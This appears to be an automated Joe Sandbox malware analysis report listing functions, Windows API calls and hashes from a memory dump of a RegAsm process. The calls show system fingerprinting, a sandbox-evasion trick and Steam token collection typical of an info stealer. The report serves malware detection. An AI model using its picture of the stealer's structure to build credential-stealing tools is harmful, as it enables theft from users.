Part of subcall function 6C8630F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C863127
Part of subcall function 6C8630F0: __aulldiv.LIBCMT ref: 6C863140

Part of subcall function 6C89AB2A: __onexit.LIBCMT ref: 6C89AB30

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 8ed87bb3157ac6beac564072c10ecbc799899b63dd51d92c0fcf77eff83f0dac
Instruction ID: e493acdbec52db7a84f3685a758e378921f30ff989ff81cba68e1637de22872a
Opcode Fuzzy Hash: 8ed87bb3157ac6beac564072c10ecbc799899b63dd51d92c0fcf77eff83f0dac
Instruction Fuzzy Hash: 70F0D622E2074497CB70DF7899411EA7370AFBF218F501B39E84553621FB206AD8C3C2

Function 00418F10 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00418F45
CloseHandle.KERNEL32(00000000), ref: 00418F4F

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 505887186576ed7e5de420e5946c6f2a22c03df6072e7a407eac2c8430529aad
Instruction ID: 429e76ffcb292cc7325fe34a8c967f3e8a19cc1fb06d1469951f90a9fbb0bdee
Opcode Fuzzy Hash: 505887186576ed7e5de420e5946c6f2a22c03df6072e7a407eac2c8430529aad
Instruction Fuzzy Hash: 29F05E74A0020CFBDB14DFA4DD4AFEE7779AB08700F004498BB0997290D6B0AE85CB94

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004164BC), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,004164BC), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction ID: 0e2e6d3d2f445679f77a7861b9af8e0e8f55b174cdb9f0aa425208459b8dc1b3
Opcode Fuzzy Hash: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction Fuzzy Hash: 3DE08670945308FBE7205FA09C0AB4D76689B04B05F105056F708BA1E0C6B82501865C

Function 00411520 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00416FA0: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00416FE2
Part of subcall function 00416FA0: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041701F
Part of subcall function 00416FA0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
Part of subcall function 00416FA0: HeapAlloc.KERNEL32(00000000), ref: 004170AA

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 00417130: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
Part of subcall function 00417130: HeapAlloc.KERNEL32(00000000), ref: 0041714B

Part of subcall function 00417260: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,00F81C40,00000000,?), ref: 00417292
Part of subcall function 00417260: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,00F81C40,00000000,?), ref: 00417299

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 00417420: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DD0,00000000,?), ref: 00417450
Part of subcall function 00417420: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DD0,00000000,?), ref: 00417457
Part of subcall function 00417420: GetLocalTime.KERNEL32(?,?,?,?,?,00420DD0,00000000,?), ref: 00417464
Part of subcall function 00417420: wsprintfA.USER32 ref: 00417493

Part of subcall function 004174D0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00F82510,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
Part of subcall function 004174D0: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,00F82510,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041750A
Part of subcall function 004174D0: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00F82510,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041751D

Part of subcall function 004175A0: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,00F82510,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 004175D5

Part of subcall function 00417630: GetKeyboardLayoutList.USER32(00000000,00000000,0042059F), ref: 00417681
Part of subcall function 00417630: LocalAlloc.KERNEL32(00000040,?), ref: 00417699
Part of subcall function 00417630: GetKeyboardLayoutList.USER32(?,00000000), ref: 004176AD
Part of subcall function 00417630: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417702
Part of subcall function 00417630: LocalFree.KERNEL32(00000000), ref: 004177C2

Part of subcall function 00417820: GetSystemPowerStatus.KERNEL32(?), ref: 0041784D

GetCurrentProcessId.KERNEL32(00000000,?,00F81CC0,00000000,?,00420DF4,00000000,?,00000000,00000000,?,00F825D0,00000000,?,00420DF0,00000000), ref: 00411B8E

Part of subcall function 00418F10: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24
Part of subcall function 00418F10: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00418F45
Part of subcall function 00418F10: CloseHandle.KERNEL32(00000000), ref: 00418F4F

Part of subcall function 004178A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
Part of subcall function 004178A0: HeapAlloc.KERNEL32(00000000), ref: 004178DE
Part of subcall function 004178A0: RegOpenKeyExA.KERNEL32(80000002,00F7B3F0,00000000,00020119,?), ref: 004178FE
Part of subcall function 004178A0: RegQueryValueExA.KERNEL32(?,00F81C00,00000000,00000000,000000FF,000000FF), ref: 0041791F

Part of subcall function 00417A00: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00417A69
Part of subcall function 00417A00: GetLastError.KERNEL32 ref: 00417A78

Part of subcall function 00417970: GetSystemInfo.KERNEL32(00420DFC), ref: 004179A0
Part of subcall function 00417970: wsprintfA.USER32 ref: 004179B6

Part of subcall function 00417BA0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00F825B8,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
Part of subcall function 00417BA0: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,00F825B8,00000000,?,00420DFC,00000000,?,00000000,00000000), ref: 00417BD7
Part of subcall function 00417BA0: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00417BF8
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C12
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C20
Part of subcall function 00417BA0: wsprintfA.USER32 ref: 00417C4C

Part of subcall function 00418260: CreateDCA.GDI32(00F7AA80,00000000,00000000,00000000), ref: 00418295
Part of subcall function 00418260: GetDeviceCaps.GDI32(?,00000008), ref: 004182A4
Part of subcall function 00418260: GetDeviceCaps.GDI32(?,0000000A), ref: 004182B3
Part of subcall function 00418260: ReleaseDC.USER32(00000000,?), ref: 004182C2
Part of subcall function 00418260: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DF8,00000000,?), ref: 004182CF
Part of subcall function 00418260: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DF8,00000000,?), ref: 004182D6
Part of subcall function 00418260: wsprintfA.USER32 ref: 004182F0

Part of subcall function 00417C90: EnumDisplayDevicesA.USER32(00000000,00000000,000001A8,00000001), ref: 00417CF4

Part of subcall function 00417DC0: RegOpenKeyExA.KERNEL32(00000000,00F76300,00000000,00020019,00000000,004205A6), ref: 00417E44

Part of subcall function 00417DC0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
Part of subcall function 00417DC0: wsprintfA.USER32 ref: 00417EF9
Part of subcall function 00417DC0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B

Part of subcall function 00418120: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041816A
Part of subcall function 00418120: Process32First.KERNEL32(?,00000128), ref: 0041817E
Part of subcall function 00418120: Process32Next.KERNEL32(?,00000128), ref: 00418193
Part of subcall function 00418120: FindCloseChangeNotification.KERNEL32(?), ref: 00418201

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041216B

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$Process$Alloc$wsprintf$NameOpenlstrcpy$InformationLocal$CapsCloseCreateCurrentDeviceEnumInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ChangeComputerDefaultDevicesDirectoryDisplayErrorFileFindFirstFreeGlobalHandleLastLogicalMemoryModuleNextNotificationPowerProcessorQueryReleaseSnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 327943442-0
Opcode ID: 1725f415b6d02ac6fa083467293a4c97ec229be5050fbf955f20cd084a202adc
Instruction ID: a9f6d0abc10a802bc737c54d14ff6b9d5e6ee0272f4c656d6212d3eaa4757419
Opcode Fuzzy Hash: 1725f415b6d02ac6fa083467293a4c97ec229be5050fbf955f20cd084a202adc
Instruction Fuzzy Hash: 8472A071851018AACB19FB91DC96EDEB33CAF24314F5042DFB51762051EF782B98CB6A

Function 00406C30 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(E9FC458B,087400FC,00000040,00000040), ref: 00406CEF

Strings

@, xrefs: 00406CC9

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction ID: a97aeec014860b7bcefe5a819602e0a11eb2ce5ea612e9d10357849f9a661301
Opcode Fuzzy Hash: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction Fuzzy Hash: 3E213174A04208EFEB04CF89D544BAEBBB1FF48304F1181AAD456AB381D3799A91DF85

Function 00406D90 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8b28877c224b251f10175a9abca519b7fa48fc2f12a49a1c36a71eedd802e18
Instruction ID: 456806d1e879ecad470b616e27b80e03465aa0a519357bc85acbc9acecad2077
Opcode Fuzzy Hash: f8b28877c224b251f10175a9abca519b7fa48fc2f12a49a1c36a71eedd802e18
Instruction Fuzzy Hash: 116127B4900209DFCB14DF94E944BEEB7B0BB48304F1185AAE80677380D779AEA5DF95

Function 004137A0 Relevance: 3.1, APIs: 2, Instructions: 69stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004137BB

Part of subcall function 004133C0: wsprintfA.USER32 ref: 004133DC
Part of subcall function 004133C0: FindFirstFileA.KERNEL32(?,?), ref: 004133F3

strtok_s.MSVCRT ref: 00413862

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: strtok_s$FileFindFirstwsprintf
String ID:
API String ID: 3409980764-0
Opcode ID: b6b12603f938f1bff0f840590ff514a47da9ae8cf495232e9c1f242d3617e506
Instruction ID: 60117685712d1260c99ae6872f0ff58ab6cc0d9189090ab003c82d6b2a33ed52
Opcode Fuzzy Hash: b6b12603f938f1bff0f840590ff514a47da9ae8cf495232e9c1f242d3617e506
Instruction Fuzzy Hash: FB215EB1500108ABDB24FFA5DC52FED7379AF44304F40805AF90E9B192EB746B44C79A

Function 00414BE0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,00F7AA50,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

lstrlenA.KERNEL32(00000000,00000000,00420AB3,?,?,?,?,?,?,00415BEB,?), ref: 00414C0A

Strings

steam_tokens.txt, xrefs: 00414C1F

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 120a78b942200e417be762f6b949b9724b575e34ca621250f0dd76198ecdb917
Instruction ID: 43ba9c4e7b772c09295c3d1ddd3f4580462a4fb142283e9dc1187fbec7936fd0
Opcode Fuzzy Hash: 120a78b942200e417be762f6b949b9724b575e34ca621250f0dd76198ecdb917
Instruction Fuzzy Hash: 48F01271D1110876CB04F7B2EC579ED733CAE54358F90426EF41662092EF78665886AB

Function 00417970 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420DFC), ref: 004179A0
wsprintfA.USER32 ref: 004179B6

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: b67a8d3803bdbcef095136fe51fb218f504635533fc880d72ddeb760f53951d8
Instruction ID: e5f7882cf5308591a3a92d8d4ad10ccbd8a019f3ce2acafa6204cd8ee8253483
Opcode Fuzzy Hash: b67a8d3803bdbcef095136fe51fb218f504635533fc880d72ddeb760f53951d8
Instruction Fuzzy Hash: 2DF0C2B1A00618EBCB10CF88ED45FAAB7BDFB08724F50066AF50492280D7785904CB94

Function 0040B370 Relevance: 2.9, APIs: 2, Instructions: 387stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000), ref: 0040B820
lstrlenA.KERNEL32(00000000), ref: 0040B834

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
